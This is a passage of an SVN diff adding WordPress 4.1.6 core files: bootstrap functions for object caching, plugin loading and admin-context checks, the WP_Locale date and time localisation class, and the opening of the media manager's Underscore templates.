+ * @since 3.7.0
+ *
+ * @param bool $using Whether external object cache is being used.
+ * @return bool The current 'using' setting.
+ */
+function wp_using_ext_object_cache( $using = null ) {
+	global $_wp_using_ext_object_cache;
+	$current_using = $_wp_using_ext_object_cache;
+	if ( null !== $using )
+		$_wp_using_ext_object_cache = $using;
+	return $current_using;
+}
+
+/**
+ * Start the WordPress object cache.
+ *
+ * If an object-cache.php file exists in the wp-content directory,
+ * it uses that drop-in as an external object cache.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global int $blog_id Blog ID.
+ */
+function wp_start_object_cache() {
+	global $blog_id;
+
+	$first_init = false;
+ 	if ( ! function_exists( 'wp_cache_init' ) ) {
+		if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
+			require_once ( WP_CONTENT_DIR . '/object-cache.php' );
+			if ( function_exists( 'wp_cache_init' ) )
+				wp_using_ext_object_cache( true );
+		}
+
+		$first_init = true;
+	} else if ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
+		/*
+		 * Sometimes advanced-cache.php can load object-cache.php before
+		 * it is loaded here. This breaks the function_exists check above
+		 * and can result in `$_wp_using_ext_object_cache` being set
+		 * incorrectly. Double check if an external cache exists.
+		 */
+		wp_using_ext_object_cache( true );
+	}
+
+	if ( ! wp_using_ext_object_cache() )
+		require_once ( ABSPATH . WPINC . '/cache.php' );
+
+	/*
+	 * If cache supports reset, reset instead of init if already
+	 * initialized. Reset signals to the cache that global IDs
+	 * have changed and it may need to update keys and cleanup caches.
+	 */
+	if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) )
+		wp_cache_switch_to_blog( $blog_id );
+	elseif ( function_exists( 'wp_cache_init' ) )
+		wp_cache_init();
+
+	if ( function_exists( 'wp_cache_add_global_groups' ) ) {
+		wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache' ) );
+		wp_cache_add_non_persistent_groups( array( 'comment', 'counts', 'plugins' ) );
+	}
+}
+
+/**
+ * Redirect to the installer if WordPress is not installed.
+ *
+ * Dies with an error message when Multisite is enabled.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_not_installed() {
+	if ( is_multisite() ) {
+		if ( ! is_blog_installed() && ! defined( 'WP_INSTALLING' ) ) {
+			nocache_headers();
+
+			wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) );
+		}
+	} elseif ( ! is_blog_installed() && ! defined( 'WP_INSTALLING' ) ) {
+		nocache_headers();
+
+		require( ABSPATH . WPINC . '/kses.php' );
+		require( ABSPATH . WPINC . '/pluggable.php' );
+		require( ABSPATH . WPINC . '/formatting.php' );
+
+		$link = wp_guess_url() . '/wp-admin/install.php';
+
+		wp_redirect( $link );
+		die();
+	}
+}
+
+/**
+ * Retrieve an array of must-use plugin files.
+ *
+ * The default directory is wp-content/mu-plugins. To change the default
+ * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL`
+ * in wp-config.php.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @return array Files to include.
+ */
+function wp_get_mu_plugins() {
+	$mu_plugins = array();
+	if ( !is_dir( WPMU_PLUGIN_DIR ) )
+		return $mu_plugins;
+	if ( ! $dh = opendir( WPMU_PLUGIN_DIR ) )
+		return $mu_plugins;
+	while ( ( $plugin = readdir( $dh ) ) !== false ) {
+		if ( substr( $plugin, -4 ) == '.php' )
+			$mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin;
+	}
+	closedir( $dh );
+	sort( $mu_plugins );
+
+	return $mu_plugins;
+}
+
+/**
+ * Retrieve an array of active and valid plugin files.
+ *
+ * While upgrading or installing WordPress, no plugins are returned.
+ *
+ * The default directory is wp-content/plugins. To change the default
+ * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL`
+ * in wp-config.php.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @return array Files.
+ */
+function wp_get_active_and_valid_plugins() {
+	$plugins = array();
+	$active_plugins = (array) get_option( 'active_plugins', array() );
+
+	// Check for hacks file if the option is enabled
+	if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) {
+		_deprecated_file( 'my-hacks.php', '1.5' );
+		array_unshift( $plugins, ABSPATH . 'my-hacks.php' );
+	}
+
+	if ( empty( $active_plugins ) || defined( 'WP_INSTALLING' ) )
+		return $plugins;
+
+	$network_plugins = is_multisite() ? wp_get_active_network_plugins() : false;
+
+	foreach ( $active_plugins as $plugin ) {
+		if ( ! validate_file( $plugin ) // $plugin must validate as file
+			&& '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'
+			&& file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist
+			// not already included as a network plugin
+			&& ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins ) )
+			)
+		$plugins[] = WP_PLUGIN_DIR . '/' . $plugin;
+	}
+	return $plugins;
+}
+
+/**
+ * Set internal encoding.
+ *
+ * In most cases the default internal encoding is latin1, which is
+ * of no use, since we want to use the `mb_` functions for `utf-8` strings.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_set_internal_encoding() {
+	if ( function_exists( 'mb_internal_encoding' ) ) {
+		$charset = get_option( 'blog_charset' );
+		if ( ! $charset || ! @mb_internal_encoding( $charset ) )
+			mb_internal_encoding( 'UTF-8' );
+	}
+}
+
+/**
+ * Add magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`.
+ *
+ * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`,
+ * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_magic_quotes() {
+	// If already slashed, strip.
+	if ( get_magic_quotes_gpc() ) {
+		$_GET    = stripslashes_deep( $_GET    );
+		$_POST   = stripslashes_deep( $_POST   );
+		$_COOKIE = stripslashes_deep( $_COOKIE );
+	}
+
+	// Escape with wpdb.
+	$_GET    = add_magic_quotes( $_GET    );
+	$_POST   = add_magic_quotes( $_POST   );
+	$_COOKIE = add_magic_quotes( $_COOKIE );
+	$_SERVER = add_magic_quotes( $_SERVER );
+
+	// Force REQUEST to be GET + POST.
+	$_REQUEST = array_merge( $_GET, $_POST );
+}
+
+/**
+ * Runs just before PHP shuts down execution.
+ *
+ * @since 1.2.0
+ * @access private
+ */
+function shutdown_action_hook() {
+	/**
+	 * Fires just before PHP shuts down execution.
+	 *
+	 * @since 1.2.0
+	 */
+	do_action( 'shutdown' );
+
+	wp_cache_close();
+}
+
+/**
+ * Copy an object.
+ *
+ * @since 2.7.0
+ * @deprecated 3.2.0
+ *
+ * @param object $object The object to clone.
+ * @return object The cloned object.
+ */
+function wp_clone( $object ) {
+	// Use parens for clone to accommodate PHP 4. See #17880
+	return clone( $object );
+}
+
+/**
+ * Whether the current request is for an administrative interface page.
+ *
+ * Does not check if the user is an administrator; {@see current_user_can()}
+ * for checking roles and capabilities.
+ *
+ * @since 1.5.1
+ *
+ * @return bool True if inside WordPress administration interface, false otherwise.
+ */
+function is_admin() {
+	if ( isset( $GLOBALS['current_screen'] ) )
+		return $GLOBALS['current_screen']->in_admin();
+	elseif ( defined( 'WP_ADMIN' ) )
+		return WP_ADMIN;
+
+	return false;
+}
+
+/**
+ * Whether the current request is for a site's admininstrative interface.
+ *
+ * e.g. `/wp-admin/`
+ *
+ * Does not check if the user is an administrator; {@see current_user_can()}
+ * for checking roles and capabilities.
+ *
+ * @since 3.1.0
+ *
+ * @return bool True if inside WordPress blog administration pages.
+ */
+function is_blog_admin() {
+	if ( isset( $GLOBALS['current_screen'] ) )
+		return $GLOBALS['current_screen']->in_admin( 'site' );
+	elseif ( defined( 'WP_BLOG_ADMIN' ) )
+		return WP_BLOG_ADMIN;
+
+	return false;
+}
+
+/**
+ * Whether the current request is for the network administrative interface.
+ *
+ * e.g. `/wp-admin/network/`
+ *
+ * Does not check if the user is an administrator; {@see current_user_can()}
+ * for checking roles and capabilities.
+ *
+ * @since 3.1.0
+ *
+ * @return bool True if inside WordPress network administration pages.
+ */
+function is_network_admin() {
+	if ( isset( $GLOBALS['current_screen'] ) )
+		return $GLOBALS['current_screen']->in_admin( 'network' );
+	elseif ( defined( 'WP_NETWORK_ADMIN' ) )
+		return WP_NETWORK_ADMIN;
+
+	return false;
+}
+
+/**
+ * Whether the current request is for a user admin screen.
+ *
+ * e.g. `/wp-admin/user/`
+ *
+ * Does not inform on whether the user is an admin! Use capability
+ * checks to tell if the user should be accessing a section or not
+ * {@see current_user_can()}.
+ *
+ * @since 3.1.0
+ *
+ * @return bool True if inside WordPress user administration pages.
+ */
+function is_user_admin() {
+	if ( isset( $GLOBALS['current_screen'] ) )
+		return $GLOBALS['current_screen']->in_admin( 'user' );
+	elseif ( defined( 'WP_USER_ADMIN' ) )
+		return WP_USER_ADMIN;
+
+	return false;
+}
+
+/**
+ * If Multisite is enabled.
+ *
+ * @since 3.0.0
+ *
+ * @return bool True if Multisite is enabled, false otherwise.
+ */
+function is_multisite() {
+	if ( defined( 'MULTISITE' ) )
+		return MULTISITE;
+
+	if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Retrieve the current blog ID.
+ *
+ * @since 3.1.0
+ *
+ * @return int Blog id
+ */
+function get_current_blog_id() {
+	global $blog_id;
+	return absint($blog_id);
+}
+
+/**
+ * Attempt an early load of translations.
+ *
+ * Used for errors encountered during the initial loading process, before
+ * the locale has been properly detected and loaded.
+ *
+ * Designed for unusual load sequences (like setup-config.php) or for when
+ * the script will then terminate with an error, otherwise there is a risk
+ * that a file can be double-included.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @global $wp_locale The WordPress date and time locale object.
+ */
+function wp_load_translations_early() {
+	global $text_direction, $wp_locale;
+
+	static $loaded = false;
+	if ( $loaded )
+		return;
+	$loaded = true;
+
+	if ( function_exists( 'did_action' ) && did_action( 'init' ) )
+		return;
+
+	// We need $wp_local_package
+	require ABSPATH . WPINC . '/version.php';
+
+	// Translation and localization
+	require_once ABSPATH . WPINC . '/pomo/mo.php';
+	require_once ABSPATH . WPINC . '/l10n.php';
+	require_once ABSPATH . WPINC . '/locale.php';
+
+	// General libraries
+	require_once ABSPATH . WPINC . '/plugin.php';
+
+	$locales = $locations = array();
+
+	while ( true ) {
+		if ( defined( 'WPLANG' ) ) {
+			if ( '' == WPLANG )
+				break;
+			$locales[] = WPLANG;
+		}
+
+		if ( isset( $wp_local_package ) )
+			$locales[] = $wp_local_package;
+
+		if ( ! $locales )
+			break;
+
+		if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) )
+			$locations[] = WP_LANG_DIR;
+
+		if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) )
+			$locations[] = WP_CONTENT_DIR . '/languages';
+
+		if ( @is_dir( ABSPATH . 'wp-content/languages' ) )
+			$locations[] = ABSPATH . 'wp-content/languages';
+
+		if ( @is_dir( ABSPATH . WPINC . '/languages' ) )
+			$locations[] = ABSPATH . WPINC . '/languages';
+
+		if ( ! $locations )
+			break;
+
+		$locations = array_unique( $locations );
+
+		foreach ( $locales as $locale ) {
+			foreach ( $locations as $location ) {
+				if ( file_exists( $location . '/' . $locale . '.mo' ) ) {
+					load_textdomain( 'default', $location . '/' . $locale . '.mo' );
+					if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) )
+						load_textdomain( 'default', $location . '/admin-' . $locale . '.mo' );
+					break 2;
+				}
+			}
+		}
+
+		break;
+	}
+
+	$wp_locale = new WP_Locale();
+}
Index: /tags/4.1.6/src/wp-includes/locale.php
===================================================================
--- /tags/4.1.6/src/wp-includes/locale.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/locale.php	(revision 33402)
@@ -0,0 +1,373 @@
+<?php
+/**
+ * Date and Time Locale object
+ *
+ * @package WordPress
+ * @subpackage i18n
+ */
+
+/**
+ * Class that loads the calendar locale.
+ *
+ * @since 2.1.0
+ */
+class WP_Locale {
+	/**
+	 * Stores the translated strings for the full weekday names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $weekday;
+
+	/**
+	 * Stores the translated strings for the one character weekday names.
+	 *
+	 * There is a hack to make sure that Tuesday and Thursday, as well
+	 * as Sunday and Saturday, don't conflict. See init() method for more.
+	 *
+	 * @see WP_Locale::init() for how to handle the hack.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $weekday_initial;
+
+	/**
+	 * Stores the translated strings for the abbreviated weekday names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $weekday_abbrev;
+
+	/**
+	 * Stores the translated strings for the full month names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $month;
+
+	/**
+	 * Stores the translated strings for the abbreviated month names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $month_abbrev;
+
+	/**
+	 * Stores the translated strings for 'am' and 'pm'.
+	 *
+	 * Also the capitalized versions.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 * @access private
+	 */
+	var $meridiem;
+
+	/**
+	 * The text direction of the locale language.
+	 *
+	 * Default is left to right 'ltr'.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 * @access private
+	 */
+	var $text_direction = 'ltr';
+
+	/**
+	 * @var array
+	 */
+	var $number_format;
+	
+	/**
+	 * Sets up the translated strings and object properties.
+	 *
+	 * The method creates the translatable strings for various
+	 * calendar elements. Which allows for specifying locale
+	 * specific calendar names and text direction.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 */
+	function init() {
+		// The Weekdays
+		$this->weekday[0] = /* translators: weekday */ __('Sunday');
+		$this->weekday[1] = /* translators: weekday */ __('Monday');
+		$this->weekday[2] = /* translators: weekday */ __('Tuesday');
+		$this->weekday[3] = /* translators: weekday */ __('Wednesday');
+		$this->weekday[4] = /* translators: weekday */ __('Thursday');
+		$this->weekday[5] = /* translators: weekday */ __('Friday');
+		$this->weekday[6] = /* translators: weekday */ __('Saturday');
+
+		// The first letter of each day. The _%day%_initial suffix is a hack to make
+		// sure the day initials are unique.
+		$this->weekday_initial[__('Sunday')]    = /* translators: one-letter abbreviation of the weekday */ __('S_Sunday_initial');
+		$this->weekday_initial[__('Monday')]    = /* translators: one-letter abbreviation of the weekday */ __('M_Monday_initial');
+		$this->weekday_initial[__('Tuesday')]   = /* translators: one-letter abbreviation of the weekday */ __('T_Tuesday_initial');
+		$this->weekday_initial[__('Wednesday')] = /* translators: one-letter abbreviation of the weekday */ __('W_Wednesday_initial');
+		$this->weekday_initial[__('Thursday')]  = /* translators: one-letter abbreviation of the weekday */ __('T_Thursday_initial');
+		$this->weekday_initial[__('Friday')]    = /* translators: one-letter abbreviation of the weekday */ __('F_Friday_initial');
+		$this->weekday_initial[__('Saturday')]  = /* translators: one-letter abbreviation of the weekday */ __('S_Saturday_initial');
+
+		foreach ($this->weekday_initial as $weekday_ => $weekday_initial_) {
+			$this->weekday_initial[$weekday_] = preg_replace('/_.+_initial$/', '', $weekday_initial_);
+		}
+
+		// Abbreviations for each day.
+		$this->weekday_abbrev[__('Sunday')]    = /* translators: three-letter abbreviation of the weekday */ __('Sun');
+		$this->weekday_abbrev[__('Monday')]    = /* translators: three-letter abbreviation of the weekday */ __('Mon');
+		$this->weekday_abbrev[__('Tuesday')]   = /* translators: three-letter abbreviation of the weekday */ __('Tue');
+		$this->weekday_abbrev[__('Wednesday')] = /* translators: three-letter abbreviation of the weekday */ __('Wed');
+		$this->weekday_abbrev[__('Thursday')]  = /* translators: three-letter abbreviation of the weekday */ __('Thu');
+		$this->weekday_abbrev[__('Friday')]    = /* translators: three-letter abbreviation of the weekday */ __('Fri');
+		$this->weekday_abbrev[__('Saturday')]  = /* translators: three-letter abbreviation of the weekday */ __('Sat');
+
+		// The Months
+		$this->month['01'] = /* translators: month name */ __('January');
+		$this->month['02'] = /* translators: month name */ __('February');
+		$this->month['03'] = /* translators: month name */ __('March');
+		$this->month['04'] = /* translators: month name */ __('April');
+		$this->month['05'] = /* translators: month name */ __('May');
+		$this->month['06'] = /* translators: month name */ __('June');
+		$this->month['07'] = /* translators: month name */ __('July');
+		$this->month['08'] = /* translators: month name */ __('August');
+		$this->month['09'] = /* translators: month name */ __('September');
+		$this->month['10'] = /* translators: month name */ __('October');
+		$this->month['11'] = /* translators: month name */ __('November');
+		$this->month['12'] = /* translators: month name */ __('December');
+
+		// Abbreviations for each month. Uses the same hack as above to get around the
+		// 'May' duplication.
+		$this->month_abbrev[__('January')] = /* translators: three-letter abbreviation of the month */ __('Jan_January_abbreviation');
+		$this->month_abbrev[__('February')] = /* translators: three-letter abbreviation of the month */ __('Feb_February_abbreviation');
+		$this->month_abbrev[__('March')] = /* translators: three-letter abbreviation of the month */ __('Mar_March_abbreviation');
+		$this->month_abbrev[__('April')] = /* translators: three-letter abbreviation of the month */ __('Apr_April_abbreviation');
+		$this->month_abbrev[__('May')] = /* translators: three-letter abbreviation of the month */ __('May_May_abbreviation');
+		$this->month_abbrev[__('June')] = /* translators: three-letter abbreviation of the month */ __('Jun_June_abbreviation');
+		$this->month_abbrev[__('July')] = /* translators: three-letter abbreviation of the month */ __('Jul_July_abbreviation');
+		$this->month_abbrev[__('August')] = /* translators: three-letter abbreviation of the month */ __('Aug_August_abbreviation');
+		$this->month_abbrev[__('September')] = /* translators: three-letter abbreviation of the month */ __('Sep_September_abbreviation');
+		$this->month_abbrev[__('October')] = /* translators: three-letter abbreviation of the month */ __('Oct_October_abbreviation');
+		$this->month_abbrev[__('November')] = /* translators: three-letter abbreviation of the month */ __('Nov_November_abbreviation');
+		$this->month_abbrev[__('December')] = /* translators: three-letter abbreviation of the month */ __('Dec_December_abbreviation');
+
+		foreach ($this->month_abbrev as $month_ => $month_abbrev_) {
+			$this->month_abbrev[$month_] = preg_replace('/_.+_abbreviation$/', '', $month_abbrev_);
+		}
+
+		// The Meridiems
+		$this->meridiem['am'] = __('am');
+		$this->meridiem['pm'] = __('pm');
+		$this->meridiem['AM'] = __('AM');
+		$this->meridiem['PM'] = __('PM');
+
+		// Numbers formatting
+		// See http://php.net/number_format
+
+		/* translators: $thousands_sep argument for http://php.net/number_format, default is , */
+		$trans = __('number_format_thousands_sep');
+		$this->number_format['thousands_sep'] = ('number_format_thousands_sep' == $trans) ? ',' : $trans;
+
+		/* translators: $dec_point argument for http://php.net/number_format, default is . */
+		$trans = __('number_format_decimal_point');
+		$this->number_format['decimal_point'] = ('number_format_decimal_point' == $trans) ? '.' : $trans;
+
+		// Set text direction.
+		if ( isset( $GLOBALS['text_direction'] ) )
+			$this->text_direction = $GLOBALS['text_direction'];
+		/* translators: 'rtl' or 'ltr'. This sets the text direction for WordPress. */
+		elseif ( 'rtl' == _x( 'ltr', 'text direction' ) )
+			$this->text_direction = 'rtl';
+
+		if ( 'rtl' === $this->text_direction && strpos( $GLOBALS['wp_version'], '-src' ) ) {
+			$this->text_direction = 'ltr';
+			add_action( 'all_admin_notices', array( $this, 'rtl_src_admin_notice' ) );
+		}
+	}
+
+	function rtl_src_admin_notice() {
+		echo '<div class="error"><p>' . 'The <code>build</code> directory of the develop repository must be used for RTL.' . '</p></div>';
+	}
+
+	/**
+	 * Retrieve the full translated weekday word.
+	 *
+	 * Week starts on translated Sunday and can be fetched
+	 * by using 0 (zero). So the week starts with 0 (zero)
+	 * and ends on Saturday with is fetched by using 6 (six).
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param int $weekday_number 0 for Sunday through 6 Saturday
+	 * @return string Full translated weekday
+	 */
+	function get_weekday($weekday_number) {
+		return $this->weekday[$weekday_number];
+	}
+
+	/**
+	 * Retrieve the translated weekday initial.
+	 *
+	 * The weekday initial is retrieved by the translated
+	 * full weekday word. When translating the weekday initial
+	 * pay attention to make sure that the starting letter does
+	 * not conflict.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $weekday_name
+	 * @return string
+	 */
+	function get_weekday_initial($weekday_name) {
+		return $this->weekday_initial[$weekday_name];
+	}
+
+	/**
+	 * Retrieve the translated weekday abbreviation.
+	 *
+	 * The weekday abbreviation is retrieved by the translated
+	 * full weekday word.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $weekday_name Full translated weekday word
+	 * @return string Translated weekday abbreviation
+	 */
+	function get_weekday_abbrev($weekday_name) {
+		return $this->weekday_abbrev[$weekday_name];
+	}
+
+	/**
+	 * Retrieve the full translated month by month number.
+	 *
+	 * The $month_number parameter has to be a string
+	 * because it must have the '0' in front of any number
+	 * that is less than 10. Starts from '01' and ends at
+	 * '12'.
+	 *
+	 * You can use an integer instead and it will add the
+	 * '0' before the numbers less than 10 for you.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string|int $month_number '01' through '12'
+	 * @return string Translated full month name
+	 */
+	function get_month($month_number) {
+		return $this->month[zeroise($month_number, 2)];
+	}
+
+	/**
+	 * Retrieve translated version of month abbreviation string.
+	 *
+	 * The $month_name parameter is expected to be the translated or
+	 * translatable version of the month.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $month_name Translated month to get abbreviated version
+	 * @return string Translated abbreviated month
+	 */
+	function get_month_abbrev($month_name) {
+		return $this->month_abbrev[$month_name];
+	}
+
+	/**
+	 * Retrieve translated version of meridiem string.
+	 *
+	 * The $meridiem parameter is expected to not be translated.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $meridiem Either 'am', 'pm', 'AM', or 'PM'. Not translated version.
+	 * @return string Translated version
+	 */
+	function get_meridiem($meridiem) {
+		return $this->meridiem[$meridiem];
+	}
+
+	/**
+	 * Global variables are deprecated. For backwards compatibility only.
+	 *
+	 * @deprecated For backwards compatibility only.
+	 * @access private
+	 *
+	 * @since 2.1.0
+	 */
+	function register_globals() {
+		$GLOBALS['weekday']         = $this->weekday;
+		$GLOBALS['weekday_initial'] = $this->weekday_initial;
+		$GLOBALS['weekday_abbrev']  = $this->weekday_abbrev;
+		$GLOBALS['month']           = $this->month;
+		$GLOBALS['month_abbrev']    = $this->month_abbrev;
+	}
+
+	/**
+	 * Constructor which calls helper methods to set up object variables
+	 *
+	 * @uses WP_Locale::init()
+	 * @uses WP_Locale::register_globals()
+	 * @since 2.1.0
+	 *
+	 * @return WP_Locale
+	 */
+	function __construct() {
+		$this->init();
+		$this->register_globals();
+	}
+
+	/**
+	 * Checks if current locale is RTL.
+	 *
+	 * @since 3.0.0
+	 * @return bool Whether locale is RTL.
+	 */
+	function is_rtl() {
+		return 'rtl' == $this->text_direction;
+	}
+
+	/**
+	 * Register date/time format strings for general POT.
+	 *
+	 * Private, unused method to add some date/time formats translated
+	 * on wp-admin/options-general.php to the general POT that would
+	 * otherwise be added to the admin POT.
+	 *
+	 * @since 3.6.0
+	 */
+	function _strings_for_pot() {
+		/* translators: localized date format, see http://php.net/date */
+		__( 'F j, Y' );
+		/* translators: localized time format, see http://php.net/date */
+		__( 'g:i a' );
+		/* translators: localized date and time format, see http://php.net/date */
+		__( 'F j, Y g:i a' );
+	}
+}
+
+/**
+ * Checks if current locale is RTL.
+ *
+ * @since 3.0.0
+ * @return bool Whether locale is RTL.
+ */
+function is_rtl() {
+	global $wp_locale;
+	return $wp_locale->is_rtl();
+}
Index: /tags/4.1.6/src/wp-includes/media-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/media-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/media-template.php	(revision 33402)
@@ -0,0 +1,1235 @@
+<?php
+/**
+ * WordPress media templates.
+ *
+ * @package WordPress
+ * @subpackage Media
+ * @since 3.5.0
+ */
+
+/**
+ * Output the markup for a audio tag to be used in an Underscore template
+ * when data.model is passed.
+ *
+ * @since 3.9.0
+ */
+function wp_underscore_audio_template() {
+	$audio_types = wp_get_audio_extensions();
+?>
+<audio style="visibility: hidden"
+	controls
+	class="wp-audio-shortcode"
+	width="{{ _.isUndefined( data.model.width ) ? 400 : data.model.width }}"
+	preload="{{ _.isUndefined( data.model.preload ) ? 'none' : data.model.preload }}"
+	<#
+	<?php foreach ( array( 'autoplay', 'loop' ) as $attr ):
+	?>if ( ! _.isUndefined( data.model.<?php echo $attr ?> ) && data.model.<?php echo $attr ?> ) {
+		#> <?php echo $attr ?><#
+	}
+	<?php endforeach ?>#>
+>
+	<# if ( ! _.isEmpty( data.model.src ) ) { #>
+	<source src="{{ data.model.src }}" type="{{ wp.media.view.settings.embedMimes[ data.model.src.split('.').pop() ] }}" />
+	<# } #>
+
+	<?php foreach ( $audio_types as $type ):
+	?><# if ( ! _.isEmpty( data.model.<?php echo $type ?> ) ) { #>
+	<source src="{{ data.model.<?php echo $type ?> }}" type="{{ wp.media.view.settings.embedMimes[ '<?php echo $type ?>' ] }}" />
+	<# } #>
+	<?php endforeach;
+?></audio>
+<?php
+}
+
+/**
+ * Output the markup for a video tag to be used in an Underscore template
+ * when data.model is passed.
+ *
+ * @since 3.9.0
+ */
+function wp_underscore_video_template() {
+	$video_types = wp_get_video_extensions();
+?>
+<#  var w_rule = h_rule = '',
+		w, h, settings = wp.media.view.settings,
+		isYouTube = ! _.isEmpty( data.model.src ) && data.model.src.match(/youtube|youtu\.be/);
+
+	if ( settings.contentWidth && data.model.width >= settings.contentWidth ) {
+		w = settings.contentWidth;
+	} else {
+		w = data.model.width;
+	}
+
+	if ( w !== data.model.width ) {
+		h = Math.ceil( ( data.model.height * w ) / data.model.width );
+	} else {
+		h = data.model.height;
+	}
+
+	if ( w ) {
+		w_rule = 'width: ' + w + 'px; ';
+	}
+	if ( h ) {
+		h_rule = 'height: ' + h + 'px;';
+	}
+#>
+<div style="{{ w_rule }}{{ h_rule }}" class="wp-video">
+<video controls
+	class="wp-video-shortcode{{ isYouTube ? ' youtube-video' : '' }}"
+	<# if ( w ) { #>width="{{ w }}"<# } #>
+	<# if ( h ) { #>height="{{ h }}"<# } #>
+	<?php
+	$props = array( 'poster' => '', 'preload' => 'metadata' );
+	foreach ( $props as $key => $value ):
+		if ( empty( $value ) ) {
+		?><#
+		if ( ! _.isUndefined( data.model.<?php echo $key ?> ) && data.model.<?php echo $key ?> ) {
+			#> <?php echo $key ?>="{{ data.model.<?php echo $key ?> }}"<#
+		} #>
+		<?php } else {
+			echo $key ?>="{{ _.isUndefined( data.model.<?php echo $key ?> ) ? '<?php echo $value ?>' : data.model.<?php echo $key ?> }}"<?php
+		}
+	endforeach;
+	?><#
+	<?php foreach ( array( 'autoplay', 'loop' ) as $attr ):
+	?> if ( ! _.isUndefined( data.model.<?php echo $attr ?> ) && data.model.<?php echo $attr ?> ) {
+		#> <?php echo $attr ?><#
+	}
+	<?php endforeach ?>#>
+>
+	<# if ( ! _.isEmpty( data.model.src ) ) {
+		if ( isYouTube ) { #>
+		<source src="{{ data.model.src }}" type="video/youtube" />
+		<# } else { #>
+		<source src="{{ data.model.src }}" type="{{ settings.embedMimes[ data.model.src.split('.').pop() ] }}" />
+		<# }
+	} #>
+
+	<?php foreach ( $video_types as $type ):
+	?><# if ( data.model.<?php echo $type ?> ) { #>
+	<source src="{{ data.model.<?php echo $type ?> }}" type="{{ settings.embedMimes[ '<?php echo $type ?>' ] }}" />
+	<# } #>
+	<?php endforeach; ?>
+	{{{ data.model.content }}}
+</video>
+</div>
+<?php
+}
+
+/**
+ * Prints the templates used in the media manager.
+ *
+ * @since 3.5.0
+ */
+function wp_print_media_templates() {
+	global $is_IE;
+	$class = 'media-modal wp-core-ui';
+	if ( $is_IE && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 7') !== false )
+		$class .= ' ie7';
+	?>
+	<!--[if lte IE 8]>
+	<style>
+		.attachment:focus {
+			outline: #1e8cbe solid;
+		}
+		.selected.attachment {
+			outline: #1e8cbe solid;
+		}
+	</style>
+	<![endif]-->
+	<script type="text/html" id="tmpl-media-frame">
+		<div class="media-frame-menu"></div>
+		<div class="media-frame-title"></div>
+		<div class="media-frame-router"></div>
+		<div class="media-frame-content"></div>
+		<div class="media-frame-toolbar"></div>
+		<div class="media-frame-uploader"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-media-modal">
+		<div class="<?php echo $class; ?>">
+			<a class="media-modal-close" href="#"><span class="media-modal-icon"><span class="screen-reader-text"><?php _e( 'Close media panel' ); ?></span></span></a>
+			<div class="media-modal-content"></div>
+		</div>
+		<div class="media-modal-backdrop"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-window">
+		<div class="uploader-window-content">
+			<h3><?php _e( 'Drop files to upload' ); ?></h3>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-editor">
+		<div class="uploader-editor-content">
+			<div class="uploader-editor-title"><?php _e( 'Drop files to upload' ); ?></div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-inline">
+		<# var messageClass = data.message ? 'has-upload-message' : 'no-upload-message'; #>
+		<# if ( data.canClose ) { #>
+		<button class="close dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Close uploader' ); ?></span></button>
+		<# } #>
+		<div class="uploader-inline-content {{ messageClass }}">
+		<# if ( data.message ) { #>
+			<h3 class="upload-message">{{ data.message }}</h3>
+		<# } #>
+		<?php if ( ! _device_can_upload() ) : ?>
